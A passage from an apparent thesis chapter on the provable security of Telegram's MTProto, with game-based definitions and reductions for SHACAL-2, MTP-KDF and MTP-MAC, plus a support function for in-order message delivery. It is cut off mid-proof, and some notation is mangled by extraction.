MTP-MAC with respect to ϕMAC (shown in Section 6.5.3), which is needed in the IND-security proof
of MTP-CH.

We stress that we have to assume properties of SHACAL-2 that have not been studied in the literature.
Related-key attacks on reduced-round SHACAL-2 have been considered [KKL+04, LKKD06], but
they ordinarily work with a known difference relation between unknown keys. In contrast, our
LRKPRF-security notion uses keys that differ by random, unknown parts. Both of our security
notions consider keys that are partially chosen or known by the adversary.

In Appendix D.3, we show that both the LRKPRF-security and the HRKPRF-security of SHACAL-2
hold in the ideal cipher model (i.e. when SHACAL-2 is modelled as the ideal cipher); we provide
concrete upper bounds for breaking each of them. However, we cannot rule out the possibility of
attacks on SHACAL-2 due to its internal structure in the setting of related-key attacks combined with
key leakage. We leave this as an open question.

SHACAL-2 is a PRF with ϕKDF-based related keys. Our LRKPRF-security notion for SHACAL-2
is defined with respect to related-key-deriving functions ϕKDF and ϕSHACAL-2. The latter mirrors the
design ofMTP-KDF that is defined to return SHA-256(msk ∥ kk0) ∥ SHA-256(kk1 ∥msk) for the target
key kku = (kk0, kk1), except that ϕSHACAL-2 only needs to produce the corresponding SHA-padded
inputs. We note that LRKPRF-security of SHACAL-2 could instead be defined with respect to a single
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related-key-deriving function that would merge ϕKDF and ϕSHACAL-2, which could lead to a cleaner
formalisation of LRKPRF-security; however, we chose to avoid introducing an additional abstraction
level here.

Definition 31 (Related-key-deriving function for SHACAL-2). Let KKDF = MTP-KDF.Keys.
Define ϕSHACAL-2 : (KKDF × KKDF) × {0, 1}128 → {0, 1}512 as the function given in Fig. 6.18.

ϕSHACAL-2(kku,msk)
1 : (kk0, kk1) ← kku
2 : sk0 ← SHA-pad(msk ∥ kk0)
3 : sk1 ← SHA-pad(kk1 ∥ msk)
4 : return (sk0, sk1)

Figure 6.18. Related-key-deriving function ϕSHACAL-2 : (KKDF × KKDF) × {0, 1}128 → {0, 1}512.

Definition 32 (LRKPRF-security). Consider the game Glrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2,D in Fig. 6.19

defined for the block cipher SHACAL-2, the related-key-derivation functions ϕKDF, ϕSHACAL-2

and an adversary D. The advantage of D in breaking the LRKPRF-security of SHACAL-2
with respect to ϕKDF and ϕSHACAL-2 is defined as Advlrkprf

SHACAL-2,ϕKDF,ϕSHACAL-2
(D) B 2 ·

Pr
[
Glrkprf

SHACAL-2,ϕKDF,ϕSHACAL-2,D

]
− 1.

Glrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2,D

1 : b ←$ {0, 1}
2 : kk←$ {0, 1}672

3 : (kkI, kkR) ← ϕKDF (kk)
4 : b ′ ←$ DRoR

5 : return b ′ = b

RoR(u, i,msk) // u ∈ {I,R}, i ∈ {0, 1},
��msk

�� = 128

1 : (sk0, sk1) ← ϕSHACAL-2 (kku,msk)
2 : y1 ← SHACAL-2.Ev(ski, IV 256)
3 : if T[u, i,msk] = ⊥ then

4 : T[u, i,msk] ←$ {0, 1}SHACAL-2.ol

5 : y0 ← T[u, i,msk]
6 : return yb

Figure 6.19. Leakage-resilient, related-key PRF-security of SHACAL-2 on fixed input IV 256 with
respect to the related-key-deriving functions ϕKDF and ϕSHACAL-2.

In the game Glrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2,D in Fig. 6.19, the adversary D is given access to the RoR oracle

that takes u, i,msk as input; all inputs to the oracle serve as parameters for the SHACAL-2 key derivation,
used to determine the challenge key ski for i ∈ {0, 1}. The adversary gets back either the output of
SHACAL-2.Ev(ski , IV 256) (if b = 1), or a uniformly random value (if b = 0), and is required to guess
the challenge bit. The PRF table T is used to ensure consistency, so that a single random value is
sampled and remembered for each set of used key derivation parameters u, i,msk.

SHACAL-2 is a PRF with ϕMAC-based related keys. We define the notion for ϕMAC similarly.
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Definition 33 (HRKPRF-security). Consider the game Ghrkprf
SHACAL-2,ϕMAC,D in Fig. 6.20 defined for

the block cipher SHACAL-2, the related-key-derivation function ϕMAC and an adversary D. The
advantage of D in breaking the HRKPRF-security of SHACAL-2 with respect to ϕMAC is defined
as Advhrkprf

SHACAL-2,ϕMAC
(D) B 2 · Pr

[
Ghrkprf

SHACAL-2,ϕMAC,D

]
− 1.

Ghrkprf
SHACAL-2,ϕMAC,D

1 : b ←$ {0, 1}
2 : mk←$ {0, 1}320

3 : (mkI,mkR) ← ϕMAC (mk)
4 : b ′ ←$ DRoR

5 : return b ′ = b

RoR(u, p) // u ∈ {I,R},
��p�� = 256

1 : y1 ← SHACAL-2.Ev(mku ∥ p, IV 256)
2 : if T[u, p] = ⊥ then

3 : T[u, p] ←$ {0, 1}SHACAL-2.ol

4 : y0 ← T[u, p]
5 : return yb

Figure 6.20. Leakage-resilient, related-key PRF-security of SHACAL-2 on fixed input IV 256 with
respect to the related-key-deriving function ϕMAC.

In the game Ghrkprf
SHACAL-2,ϕMAC,D in Fig. 6.20, the adversary D is given access to the RoR oracle, and is

required to choose the 256-bit suffix p of each challenge key used for evaluating SHACAL-2.Ev(·, IV 256).
The value of mku is then used to set the 256-bit prefix of the challenge key, where u is also chosen by
the adversary, but the mkI,mkR values themselves are related secrets that are not known to D.

6.5.2 Related-key pseudorandomness (RKPRF) of MTP-KDF

We require that MTP-KDF behaves like a pseudorandom function in the related-key setting.

Definition 34 (RKPRF-security). Consider the game Grkprf
KDF,ϕKDF,D in Fig. 6.21 defined for a

function family KDF, the related-key-deriving function ϕKDF and an adversary D. The ad-
vantage of D in breaking the RKPRF-security of KDF with respect to ϕKDF is defined as
Advrkprf

KDF,ϕKDF
(D) B 2 · Pr

[
Grkprf

KDF,ϕKDF,D

]
− 1.

Grkprf
KDF,ϕKDF,D

1 : b ←$ {0, 1}
2 : kk←$ {0, 1}672

3 : (kkI, kkR) ← ϕKDF (kk)
4 : b ′ ←$ DRoR

5 : return b ′ = b

RoR(u,msk) // u ∈ {I,R},msk ∈ KDF.In

1 : k1 ← KDF.Ev(kku,msk)
2 : if T[u,msk] = ⊥ then

3 : T[u,msk] ←$ {0, 1}KDF.ol

4 : k0 ← T[u,msk]
5 : return kb

Figure 6.21. Related-key PRF-security of a function family KDF with respect to a related-key-deriving
function ϕKDF.
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The game Grkprf
KDF,ϕKDF,D in Fig. 6.21 defines a variant of the standard PRF notion allowing the adversary

D to use its RoR oracle to evaluate the function family KDF on either of the two secret, related
function keys kkI, kkR (both computed using related-key-deriving function ϕKDF).

In Section 6.5.1, we defined a novel security notion for SHACAL-2 that roughly requires it to be a
leakage-resilient PRF under related-key attacks; in this section, we provide a formal reduction from
the RKPRF-security of MTP-KDF to the new assumption.

Recall that MTP-KDF is defined to return concatenated outputs of two SHA-256 calls, when evaluated
on inputs msk ∥ kk0 and kk0 ∥ msk respectively. The key observation here is that these two strings are
both only 416 bits long, so the resulting SHA-padded payloads sk0 = SHA-pad(msk ∥ kk0) and sk1 =
SHA-pad(kk0 ∥ msk) each consist of a single 512-bit block. So for the SHA-256 compression function
f256 and initial state IV 256 we need to show that f256(IV 256, sk0) ∥ f256(IV 256, sk1) is indistinguishable
from a uniformly random string. When this is expressed through the underlying block cipher
SHACAL-2, it is sufficient that SHACAL-2.Ev(sk0, IV 256) and SHACAL-2.Ev(sk1, IV 256) both look
independent and uniformly random (even while an adversary can choose the values of msk that are
used to build sk0, sk1). This requirement is exactly satisfied if SHACAL-2 is assumed to be a related-key
PRF for appropriate related-key-deriving functions, i.e. the notion of LRKPRF-security with respect
to ϕKDF, ϕSHACAL-2.

Proposition 3. LetDRKPRF be an adversary against theRKPRF-security of the function familyMTP-KDF
with respect to the related-key-deriving function ϕKDF. Then we can build an adversary DLRKPRF against
the LRKPRF-security of the block cipher SHACAL-2 with respect to related-key-deriving functions ϕKDF,
ϕSHACAL-2 such that

Advrkprf
MTP-KDF,ϕKDF

(DRKPRF) ≤ 2 · Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(DLRKPRF) .

Proof. Consider the game Grkprf
MTP-KDF,ϕKDF,DRKPRF

(Fig. 6.21) defining the RKPRF-security experiment
in which the adversary DRKPRF plays against the function family MTP-KDF with respect to the
related-key-deriving function ϕKDF. We first rewrite the game in a functionally equivalent way as G0

in Fig. 6.22 using the definition of MTP-KDF.Ev, expanded to SHA-256 and then expressed through
the underlying block cipher SHACAL-2, which is called twice on related keys, each built by appending
SHA padding to msk ∥ kk0 or kk1 ∥ msk. We have

Advrkprf
MTP-KDF,ϕKDF

(DRKPRF) = 2 · Pr[G0] − 1.

Then, the game G1 in Fig. 6.22 rewrites the derivation of sk0, sk1 in G0 in terms of the related-key-
deriving function ϕSHACAL-2 (Fig. 6.18). The game G1 is functionally equivalent to the game G0, so
we have

Pr[G1] = Pr[G0] .
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Finally, the game G2 in Fig. 6.22 replaces both SHACAL-2 outputs with uniformly random values
that are independent of the challenge bit. In this game, DRKPRF can have no advantage better than
simply guessing the challenge bit, hence

Pr[G2] =
1
2
.

Games G0–G2

1 : b ←$ {0, 1}
2 : kk←$ {0, 1}672

3 : (kkI, kkR) ← ϕKDF (kk)
4 : b ′ ←$ DRoR

RKPRF
5 : return b ′ = b

RoR(u,msk)
1 : (kk0, kk1) ← kku  // G02 : sk0 ← SHA-pad(msk ∥ kk0)
3 : sk1 ← SHA-pad(kk1 ∥ msk)
4 : (sk0, sk1) ← ϕSHACAL-2 (kku,msk) // G1–G2

5 : r0 ← SHACAL-2.Ev(sk0, IV 256) // G0–G1

6 : if R[u, 0,msk] = ⊥ then  // G27 : R[u, 0,msk] ←$ {0, 1}SHACAL-2.ol

8 : r0 ← R[u, 0,msk]
9 : r1 ← SHACAL-2.Ev(sk1, IV 256) // G0–G1

10 : if R[u, 1,msk] = ⊥ then  // G211 : R[u, 1,msk] ←$ {0, 1}SHACAL-2.ol

12 : r1 ← R[u, 1,msk]

13 : k (0)1 ← IV 256 +̂ r0 ; k (1)1 ← IV 256 +̂ r1

14 : k1 ← k (0)1 ∥ k (1)1

15 : if T[u,msk] = ⊥ then
16 : T[u,msk] ←$ {0, 1}MTP-KDF.ol

17 : k0 ← T[u,msk]
18 : return kb

Figure 6.22. Games G0–G2 for the proof of Proposition 3. The code added by expanding the
algorithm MTP-KDF.Ev in the game Grkprf

MTP-KDF,ϕKDF,DRKPRF
is highlighted in grey .

We construct an adversary DLRKPRF against the LRKPRF-security of SHACAL-2 with respect to
ϕKDF, ϕSHACAL-2 as shown in Fig. 6.23 such that

Pr[G1] − Pr[G2] = Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(DLRKPRF) .

Let d be the challenge bit in Glrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2,DLRKPRF

and d ′ be the output of the adversary in
that game. If d = 1, then the calls to the RoR oracle made by DLRKPRF are SHACAL-2 invocations
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with related and partially-chosen keys; we have

Pr
[
d ′ = 1

�� d = 1
]
= Pr[G1] .

If d = 0, then each call to the RoR oracle draws a uniformly random value ri and so we know that
k1 = (IV 256 +̂ r0) ∥ (IV 256 +̂ r1) is a uniformly random string; we have

Pr
[
d ′ = 1

�� d = 0
]
= Pr[G2] .

Adversary DRoR

LRKPRF

1 : b ←$ {0, 1}
2 : b ′ ←$ DRoRSim

RKPRF

3 : if b ′ = b then return 1

4 : else return 0

RoRSim(u,msk)
1 : r0 ← RoR(u, 0,msk)
2 : r1 ← RoR(u, 1,msk)

3 : k (0)1 ← IV 256 +̂ r0 ; k (1)1 ← IV 256 +̂ r1
4 : k1 ← k (0)1 ∥ k (1)1

5 : if T[u,msk] = ⊥ then

6 : T[u,msk] ←$ {0, 1}MTP-KDF.ol

7 : k0 ← T[u,msk]
8 : return kb

Figure 6.23. Adversary DLRKPRF against the LRKPRF-security of SHACAL-2 with respect to
ϕKDF, ϕSHACAL-2 for the proof of Proposition 3. Depending on the challenge bit in the game
Glrkprf

SHACAL-2,ϕKDF,ϕSHACAL-2,DLRKPRF
, DLRKPRF simulates G1 or G2 for DRKPRF.

We can use the above to write:

Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(DLRKPRF) = Pr
[
d ′ = 1

�� d = 1
]
− Pr

[
d ′ = 1

�� d = 0
]

= Pr[G1] − Pr[G2]
= Pr[G0] − Pr[G2]

=
1
2
·
(
Advrkprf

MTP-KDF,ϕKDF
(DRKPRF) + 1

)
− 1
2

=
1
2
· Advrkprf

MTP-KDF,ϕKDF
(DRKPRF) .

The inequality follows.

6.5.3 Related-key pseudorandomness with unique prefixes (UPRKPRF) of MTP-MAC

We require that MTP-MAC behaves like a pseudorandom function in the RKA setting when it is
evaluated on a set of inputs that have unique 256-bit prefixes.
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Definition 35 (UPRKPRF-security). Consider the game Guprkprf
MAC,ϕMAC,D in Fig. 6.24 defined for

a function family MAC, the related-key-deriving function ϕMAC and an adversary D. The ad-
vantage of D in breaking the UPRKPRF-security of MAC with respect to ϕMAC is defined as
Advuprkprf

MAC,ϕMAC
(D) B 2 · Pr

[
Guprkprf

MAC,ϕMAC,D

]
− 1.

Guprkprf
MAC,ϕMAC,D

1 : b ←$ {0, 1}
2 : mk←$ {0, 1}320

3 : (mkI,mkR) ← ϕMAC (mk)
4 : XI ← ∅ ; XR ← ∅
5 : b ′ ←$ DRoR

6 : return b ′ = b

RoR(u, p) // u ∈ {I,R}, p ∈ {0, 1}∗

1 : if
��p�� < 256 then return ⊥

2 : p0 ← p[0 : 256]
3 : if p0 ∈ Xu then return ⊥
4 : Xu ← Xu ∪

{
p0

}
5 : msk1 ← MAC.Ev(mku, p)
6 : msk0 ←$ {0, 1}MAC.ol

7 : return mskb

Figure 6.24. Related-key PRF-security of the function family MAC for inputs with unique 256-bit
prefixes, with respect to key derivation function ϕMAC.

The game Guprkprf
MAC,ϕMAC,D in Fig. 6.24 extends the standard PRF notion to use two related ϕMAC-derived

function keys mkI,mkR for the function family MAC (similar to the RKPRF-security notion we
defined earlier); but it also enforces that the adversary D cannot query its oracle RoR on two inputs
(u, p0) and (u, p1) for any u ∈ {I,R} such that p0, p1 share the same 256-bit prefix. The unique-prefix
condition means that the game does not need to maintain a PRF table to achieve output consistency.
Note that in this game, the oracle RoR can only be called with inputs of length

��p�� ≥ 256; this is
sufficient for our purposes, because in MTP-CH the function family MTP-MAC is only used with
payloads that are longer than 256 bits.

In Section 6.5.1, we defined a novel security notion that requires SHACAL-2 to be a leakage-resilient,
related-key PRF when evaluated on a fixed input; formalised as HRKPRF-security. Here, we show that
the UPRKPRF-security of MTP-MAC reduces to this assumption and to the one-time PRF-security
(OTPRF) of the SHA-256 compression function f256.

Recall that MTP-MAC.Ev(mku, p) returns a truncated output of SHA-256(mku ∥ p) where the key
mku is 256-bit long for any u ∈ {I,R}, and the payload p is guaranteed (according to the definition of
MTP-ME) to be longer than 256 bits. Furthermore, the construction of MTP-ME ensures that the
256-bit prefix of p will be unique because this prefix of p encodes various counters.13 This enables us to
consider the output of the first SHA-256 compression function f256 while evaluating SHA-256(mku ∥ p);
we can assume that this output is uniformly random by assuming the HRKPRF-security of SHACAL-2.
Now it remains to show that every next f256 call that is made to evaluate SHA-256(mku ∥ p) will
return a uniformly random output as well, which is true when f256 is assumed to be a PRF.

13This holds as long as the number of total produced payloads is upper-bounded by some large constant.
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We start with the latter step, showing that the Merkle-Damgård construction is a secure PRF as
long as the underlying compression function is a secure PRF. This claim about the Merkle-Damgård
transform is analogous to the basic cascade PRF security proved in [BCK96], except that we only
prove one-time security and hence we do not require prefix-free inputs.

Lemma 1. Consider the compression function f256 of SHA-256. Let F be the corresponding function
family with F.Ev = f256, F.kl = F.ol = 256, F.In = {0, 1}512. Let Dmd be an adversary against the
OTPRF-security of the function family MD[f256] that makes queries of length at most T blocks (i.e. at
most T · 512 bits). Then we can build an adversary Df against theOTPRF-security of F such that

Advotprf
MD[f256 ] (Dmd) ≤ T · Advotprf

F (Df) .

Proof. This proof uses the games G0–GT in Fig. 6.25. In the game G0, on input x , RoR returns
MD[f256] .Ev(ℎ0, x) for a uniformly random key ℎ0 ∈ F.Keys; in the game GT it returns a uniformly
random value from {0, 1}F.ol.

Game G j // 0 ≤ j ≤ T

1 : b ′ ←$ DRoR

md

2 : return b ′ = 1

RoR(x1 ∥ . . . ∥ x t ) // |x i | = 512, t ≤ T

1 : ℎ0 ←$ F.Keys
2 : for i = 1, . . . , t do

3 : if i ≤ j then ℎi ←$ {0, 1}F.ol

4 : if i > j then ℎi ← F.Ev(ℎi−1, x i)
5 : return ℎt

Figure 6.25. Games G0–GT for the proof of Lemma 1.

Let b be the challenge bit in the game Gotprf
MD[f256 ],Dmd

(Fig. 2.6), and let b ′ be the output of Dmd in that
game. Then we have

Advotprf
MD[f256 ] (Dmd) = Pr

[
b ′ = 1

�� b = 1
]
− Pr

[
b ′ = 1

�� b = 0
]

= Pr[G0] − Pr[GT ]

=

T∑︁
q=1

(
Pr

[
Gq−1

]
− Pr

[
Gq

] )
. (6.1)

Consider the adversary Df in Fig. 6.26. Let ℎ be the value sampled in the first step of Df . For any
choice of ℎ ∈ {1, . . . ,T }, the adversary Df (playing in the game Gotprf

F ) perfectly simulates the view
of Dmd in either Gℎ−1 or Gℎ , depending on whether Df ’s oracle RoR is returning real evaluations of
F.Ev or uniformly random values from {0, 1}F.ol.

Let d be the challenge bit in the game Gotprf
F,Df

(Fig. 2.6), and let d ′ be the output of Df in that game. It
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Adversary DRoR

f

1 : j ←$ {1, . . . ,T }
2 : b ′ ←$ DRoRSim

md

3 : return b ′

RoRSim(x1 ∥ . . . ∥ x t ) // |x i | = 512, t ≤ T

1 : ℎ0 ←$ F.Keys
2 : for i = 1, . . . , t do

3 : if i < j then ℎi ←$ {0, 1}F.ol

4 : if i = j then ℎi ←$ RoR(x i)
5 : if i > j then ℎi ← F.Ev(ℎi−1, x i)
6 : return ℎt

Figure 6.26. Adversary Df against the OTPRF-security of F for the proof of Lemma 1.

follows that for any j ∈ {1, . . . ,T } we have

Pr
[
G j−1

]
= Pr

[
d ′ = 1

�� d = 1, ℎ = j
]
,

Pr
[
G j

]
= Pr

[
d ′ = 1

�� d = 0, ℎ = j
]
.

Let us express Pr
[
d ′ = 1

�� d = 1
]
and Pr

[
d ′ = 1

�� d = 0
]
using the above:

Pr
[
d ′ = 1

�� d = 1
]
=

T∑︁
q=1

Pr
[
ℎ = j

]
· Pr

[
d ′ = 1

�� d = 1, ℎ = j
]

=
1
T

T∑︁
q=1

Pr
[
d ′ = 1

�� d = 1, ℎ = j
]
.

Pr
[
d ′ = 1

�� d = 0
]
=

T∑︁
q=1

Pr
[
ℎ = j

]
· Pr

[
d ′ = 1

�� d = 0, ℎ = j
]

=
1
T

T∑︁
q=1

Pr
[
d ′ = 1

�� d = 0, ℎ = j
]
.

We can now rewrite Eq. (6.1) as follows:

Advotprf
MD[f256 ] (Dmd) =

T∑︁
q=1

(
Pr

[
d ′ = 1

�� d = 1, ℎ = j
]
− Pr

[
d ′ = 1

�� d = 0, ℎ = j
] )

= T ·
(
Pr

[
d ′ = 1

�� d = 1
]
− Pr

[
d ′ = 1

�� d = 0
] )

= T · Advotprf
F (Df) .

This concludes the proof.

We are ready to state the main result about the security of MTP-MAC, which we reduce to two
assumptions in Proposition 4: (a) that SHACAL-2.Ev(k,m) is a PRF under known fixed m, partially
known k and related-key-deriving function ϕMAC and (b) that f256(k, ·) is a one-time PRF. Concretely,
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f256(a, b) B a +̂ SHACAL-2.Ev(b, a) and thus we require both assumptions to hold for SHACAL-2.14

The former assumption is captured by the HRKPRF-security of SHACAL-2, whereas the latter was
used in Lemma 1 in order to show that the MD-transform inherits the PRF-security of its underlying
compression function (given that the initial state of the MD-transform is already uniformly random).

Proposition 4. Let DUPRKPRF be an adversary against theUPRKPRF-security of MTP-MAC under the
related-key-deriving function ϕMAC, for inputs whose 256-bit prefixes are distinct from each other. Then
we can build an adversary DHRKPRF against theHRKPRF-security of SHACAL-2 with respect to ϕMAC

and an adversary DOTPRF against theOTPRF-security of the Merkle–Damgård transform of SHA-256,
captured as the function family MD[f256], such that

Advuprkprf
MTP-MAC,ϕMAC

(DUPRKPRF) ≤ 2 · Advhrkprf
SHACAL-2,ϕMAC

(DHRKPRF)

+ 2 · Advotprf
MD[f256 ] (DOTPRF) .

Proof. Consider the game Guprkprf
MTP-MAC,ϕMAC,DUPRKPRF

(Fig. 6.24). Recall that

MTP-MAC.Ev(mku, p) = SHA-256(mku ∥ p) [64 : 192]
= MD[f256] .Ev(IV 256,SHA-pad(mku ∥ p)) [64 : 192] .

Refer to Fig. 6.27 for the game sequence G0–G3.

We first rewrite the original game in a functionally equivalent way as G0, splitting the MD[f256] .Ev
call based on what happens to the first block of input. Since the first block contains a secret mku, it
can be interpreted as providing security guarantees for a SHACAL-2 call keyed with the first block.
We have

Pr[G0] = Pr
[
Guprkprf

MTP-MAC,ϕMAC,DUPRKPRF

]
.

Then, the game G1 captures that the output of the first SHACAL-2 call should be indistinguishable
from random if SHACAL-2 is a leakage-resilient PRF under related keys, and the game G2 extends it to
the output of the first compression function call f256; the games G1 and G2 are functionally equivalent
so we have

Pr[G1] = Pr[G2] .

The game G3 replaces the MD-transform call on the remaining input (if there is any) with a uniformly
random value. This is the final reduction game, and it returns a random value regardless of the
challenge bit, so DUPRKPRF cannot have a better than guessing advantage to win, hence

Pr[G3] =
1
2
.

14Note that SHACAL-2.Ev(m, k) for chosen m and random secret k is not a PRF since it comes endowed with a
decryption function revealing k given y = SHACAL-2.Ev(m, k) and the chosen m. This does not rule out the “masked”
construction k +̂ SHACAL-2.Ev(m, k) being a PRF.
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Games G0–G3

1 : b ←$ {0, 1}
2 : mk←$ {0, 1}320

3 : (mkI,mkR) ← ϕMAC (mk)
4 : XI ← ∅ ; XR ← ∅
5 : b ′ ←$ DRoR

UPRKPRF
6 : return b ′ = b

RoR(u, p)
1 : if

��p�� < 256 then return ⊥
2 : p0 ← p[0 : 256]
3 : if p0 ∈ Xu then return ⊥
4 : Xu ← Xu ∪

{
p0

}
5 : p← SHA-pad(mku ∥ p)

6 : p1 ← p[512 :
��p��]

7 : r ← SHACAL-2.Ev(mku ∥ p0, IV 256) // G0

8 : r ←$ {0, 1}SHACAL-2.ol // G1

9 : ℎ1 ← IV 256 +̂ r // G0–G1

10 : ℎ1 ←$ {0, 1}256 // G2

11 : if
��p1�� > 0 then

12 : z ← MD[f256] .Ev(ℎ1, p1) // G0–G2

13 : z ←$ {0, 1}SHACAL-2.ol // G3

14 : else z ← ℎ1
15 : msk1 ← z [64 : 192]
16 : msk0 ←$ {0, 1}MTP-MAC.ol

17 : return mskb

Figure 6.27. Games G0–G3 for the proof of Proposition 4. The code added by expanding the
algorithm MTP-MAC.Ev in the game Guprkprf

MTP-MAC,ϕMAC,DUPRKPRF
is highlighted in grey .

Then, we build an adversary DHRKPRF against the HRKPRF-security of SHACAL-2 with respect to
ϕMAC as shown in Fig. 6.28, such that we get

Pr[G0] − Pr[G1] = Advhrkprf
SHACAL-2,ϕMAC

(DHRKPRF) .

Next, we build an adversary DOTPRF against the OTPRF-security of MD[f256] as shown in Fig. 6.29,
such that

Pr[G1] − Pr[G2] = Advotprf
MD[f256 ] (DOTPRF) .

Note that DOTPRF calls its oracle RoR only if DUPRKPRF calls RoRSim on large enough inputs.
However, DUPRKPRF does not benefit from calling its own RoR oracle on smaller inputs because
at this point in the security reduction we already swapped out the output of the first call to the
compression function f256 with a uniformly random value.
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Adversary DRoR

HRKPRF

1 : b ←$ {0, 1}
2 : XI ← ∅ ; ← XR ← ∅
3 : b ′ ←$ DRoRSim

UPRKPRF

4 : if b ′ = b then return 1

5 : else return 0

RoRSim(u, p)
1 : if

��p�� < 256 then return ⊥
2 : p0 ← p[0 : 256]
3 : if p0 ∈ Xu then return ⊥
4 : Xu ← Xu ∪

{
p0

}
5 : p← SHA-pad(⟨0⟩256 ∥ p)
6 : p1 ← p[512 :

��p��]
7 : r ← RoR(u, p0)
8 : ℎ1 ← IV 256 +̂ r
9 : if

��p1�� > 0 then
10 : z ← MD[f256] .Ev(ℎ1, p1)
11 : else z ← ℎ1
12 : msk1 ← z [64 : 192]
13 : msk0 ←$ {0, 1}MTP-MAC.ol

14 : return mskb

Figure 6.28. Adversary DHRKPRF against the HRKPRF-security of SHACAL-2 with respect to ϕMAC

for the proof of Proposition 4. Depending on the challenge bit in the game Ghrkprf
SHACAL-2,ϕMAC,DHRKPRF

,
DHRKPRF simulates G0 or G1 for DUPRKPRF.

Adversary DRoR

OTPRF

1 : b ←$ {0, 1}
2 : XI ← ∅ ; XR ← ∅
3 : b ′ ←$ DRoRSim

UPRKPRF

4 : if b ′ = b then return 1

5 : else return 0

RoRSim(u, p)
1 : if

��p�� < 256 then return ⊥
2 : p0 ← p[0 : 256]
3 : if p0 ∈ Xu then return ⊥
4 : Xu ← Xu ∪

{
p0

}
5 : p← SHA-pad(⟨0⟩256 ∥ p)
6 : p1 ← p[512 :

��p��]
7 : ℎ1 ←$ {0, 1}256

8 : if
��p1�� > 0 then

9 : z ← RoR(p1)
10 : else z ← ℎ1
11 : msk1 ← z [64 : 192]
12 : msk0 ←$ {0, 1}MTP-MAC.ol

13 : return mskb

Figure 6.29. Adversary DOTPRF against the OTPRF-security of MD[f256] for the proof of Proposi-
tion 4. Depending on the challenge bit in the game Gotprf

MD[f256 ],DOTPRF
, DOTPRF simulates G2 or G3 for

DUPRKPRF.
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We have the following:

Advuprkprf
MTP-MAC,ϕMAC

(DUPRKPRF) = 2 · Pr[G0] − 1

= 2 ·
(

3∑︁
i=1
(Pr[Gi−1] − Pr[Gi]) + Pr[G3]

)
− 1

= 2 ·
(
Advhrkprf

SHACAL-2,ϕMAC
(DHRKPRF) + Advotprf

MD[f256 ] (DOTPRF)
)
.

The inequality follows.

6.6 Security requirements on message encoding

In Section 6.2.5, we defined the encoding integrity of a message encoding scheme with respect to any
support function. We now define the support function SUPP that will be used for our security proofs.
We also define three ad-hoc notions that must be met by the MTProto-based message encoding scheme
MTP-ME in order to be compatible with our security proofs.

6.6.1 Support function SUPP

Definition 36 (Support function for in-order delivery). Let SUPP be the support function
given in Fig. 6.30.

SUPP(u, tru, tru, label, aux)
1 : (Nrecv,mrecv) ← find(recv, tru, label)
2 : if mrecv ≠ ⊥ then
3 : return ⊥
4 : (Nsent,msent) ← find(sent, tru, label)
5 : if Nsent ≠ Nrecv + 1 then
6 : return ⊥
7 : return msent

find(op, tr, label)
1 : Nop ← 0
2 : for (op′,m, label′, aux) ∈ tr do
3 : if op′ ≠ op then
4 : continue
5 : if (op′ = recv ∧m ≠ ⊥)∨
6 : (op′ = sent ∧ label′ ≠ ⊥) then
7 : Nop ← Nop + 1
8 : if label′ = label then
9 : return (Nop,m)
10 : return (Nop,⊥)

Figure 6.30. Support function SUPP for strict in-order delivery.

We define SUPP to enforce strict in-order delivery for each user’s sent messages, thus preventing
message forgeries, replays, (unidirectional) reordering and drops. The formalisation of the support
function SUPP uses a helper function find(op, tr, label) that searches a transcript tr for an op-type
entry (where op ∈ {sent, recv}) containing a specific label label. This code relies on the assumption
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that all support labels are unique, which is true for payloads of MTP-ME and for ciphertexts of
MTP-CH as long as at most 296 plaintexts are sent.15

The function find also determines the order number of the target entry among all valid entries, denoted
as Nop; if the entry was not found, then Nop is set to the number of all valid entries in the transcript.
The support function SUPP on inputs u, tru, tru, label requires that (i) an entry with the label label is
found in the sender’s transcript tru, and (ii) an entry with the label label is not found in the receiver’s
transcript tru, and (iii) the number of valid entries in the receiver’s transcript is one fewer than the
order number of the entry found in the sender’s transcript, i.e. Nsent = Nrecv +1. Here, the condition
(i) prevents message forgery, the condition (ii) prevents message replays, whereas the condition (iii)
prevents message reordering and drops. In conjunction with INT-security, by using ciphertexts as
labels the function SUPP ensures the integrity of ciphertexts.

6.6.2 Encoding integrity (EINT) of MTP-ME

We require that MTP-ME has encoding integrity with respect to the support function SUPP. As
outlined in Section 5.3.1, the message encoding schemeME in MTProto we studied (see Appendix D.4)
allowed reordering so it was not EINT-secure with respect to SUPP; instead we use the simplified
message encoding scheme MTP-ME for our formal analysis of MTProto.16

We prove that the message encoding scheme MTP-ME provides encoding integrity with respect to
the support function SUPP for adversaries that request at most 296 encoded payloads. As discussed
in Section 6.2.5, this means that MTP-ME manages to prevent an attacker from silently replaying,
reordering or dropping payloads in a channel that otherwise provides integrity (i.e. ensures that each
received payload was at some point honestly produced by the opposite user). We note that if an
adversary requests a single user to encode more than 296 payloads, then this user’s MTP-ME counter
Nsent wraps modulo 296, allowing a trivial attack; later we will define an EINT-security adversary
that wins with advantage 1 in such a case.

Proposition 5. Let sid ∈ {0, 1}64 and npad, `block ∈ N. LetME =MTP-ME[sid,npad, `block] and supp =

SUPP. Let A be any adversary against the EINT-security of ME with respect to supp making q ≤ 296

queries to its Send oracle. Then
Adveint

ME,supp (A) = 0.

Proof. Consider the game Geint
ME,supp,A (Fig. 6.6). For any receiver u ∈ {I,R}, the game only allows

Recv queries on inputs u, p, aux such that the payload p was previously honestly produced by the
opposite user u (i.e. p was produced in response to a prior oracle call Send(u,m′, aux′, r′) for some

15In MTP-CH the first 296 plaintexts are encoded into distinct payloads using MTP-ME, whereas distinct payloads are
then encrypted into distinct ciphertexts according to the RKCR-security of MAC with respect to ϕMAC. The latter is used
for the transition from G5 to G6 of the integrity proof for MTP-CH in Section 6.7.3.

16Note that aux is not used in SUPP or in MTP-ME. It would be possible to add time synchronisation using the
timestamp captured in the msg_id field just as the current MTProto implementation does.
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values m′, aux′, r′). Thus, it is sufficient to consider the following two cases, and show that the win
flag cannot be set true in either of them: (a) the payload p was successfully decoded by a prior call
to Recv(u, p, ·) (i.e. for an arbitrary auxiliary information value), and (b) the payload p was not
successfully decoded by a prior call to Recv(u, p, ·).

In both cases, we will rely on the fact that the first q = 296 calls to oracle Send(u, ·, ·, ·) produce distinct
payloads p. This is true because the algorithm ME.Encode ensures that every payload p returned
